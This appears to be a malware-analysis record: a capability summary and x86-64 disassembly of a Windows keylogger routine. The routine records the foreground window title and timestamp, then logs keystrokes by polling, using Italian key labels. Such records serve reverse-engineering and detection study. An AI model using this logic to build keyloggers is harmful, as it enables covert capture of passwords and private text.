Function at 0x140002b90
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x180
mov rax, qword [0x140040058]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov ebp, ecx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
xor ebx, ebx
mov rsi, rax
mov edi, ebx
test rax, rax
je 0x140002bf9
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, 0x100
lea rdx, [rsp + 0x70]
mov rcx, rsi
mov edi, eax
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, edi
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov rdi, rax
lea rsi, [0x140042ea0]
mov r9, rsi
lea rcx, [rsp + 0x70]
sub r9, rcx
nop dword [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + r9]
sub r8d, edx
jne 0x140002c25
inc rcx
test edx, edx
jne 0x140002c10
test r8d, r8d
je 0x140002cc3
nop
movzx eax, byte [rsp + rbx + 0x70]
mov byte [rbx + rsi], al
lea rbx, [rbx + 1]
test al, al
jne 0x140002c30
xor ecx, ecx
call fcn.140011d4c
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rax
call fcn.1400120b8
mov r9, rax
lea r8, [0x140039874]
mov edx, 0x40
lea rcx, [rsp + 0x30]
call fcn.14001132c
lea rcx, [rsp + 0x30]
call fcn.1400114b0
lea rdx, str._n_n_Window:
mov rbx, rax
lea rcx, [0x140040c70]
call fcn.140005ac0
mov rcx, rax
mov rdx, rsi
call fcn.140005ac0
mov rcx, rax
lea rdx, str.___at
call fcn.140005ac0
mov rcx, rax
mov rdx, rbx
call fcn.140005ac0
mov rcx, rax
lea rdx, [0x140039878]
call fcn.140005ac0
lea eax, [rbp - 8]
cmp eax, 0x99
ja case.0x140002cec.9
lea rdx, [0x140000000]
cdqe
movzx eax, byte [rdx + rax + 0x2ee4]
mov ecx, dword [rdx + rax*4 + 0x2eb0]
add rcx, rdx
jmp rcx
lea rdx, [0x140039894]
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._INVIO__n
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._SHIFT_
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._END_
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._BACKSPACE_
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._ESC_
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._MENU_START_
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._FRECCIA_SU_
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._CAPS_LOCK_
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._FRECCIA_GIU_
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._FRECCIA_DESTRA_
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
lea rdx, str._FRECCIA_SINISTRA_
lea rcx, [0x140040c70]
call fcn.140005ac0
jmp 0x140002e79
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebx, ax
mov ecx, 0x10
and bl, 1
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xc
jb 0x140002e52
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xc
jb 0x140002e52
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
bt ax, 0xc
jae 0x140002e55
xor bl, 1
mov r8, rdi
mov edx, 2
mov ecx, ebp
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
test bl, bl
jne 0x140002e71
movsx ecx, al
call fcn.140011484
movzx edx, al
call fcn.140005d50
lea rcx, [0x140040c70]
call fcn.140004a80
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14000a190
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret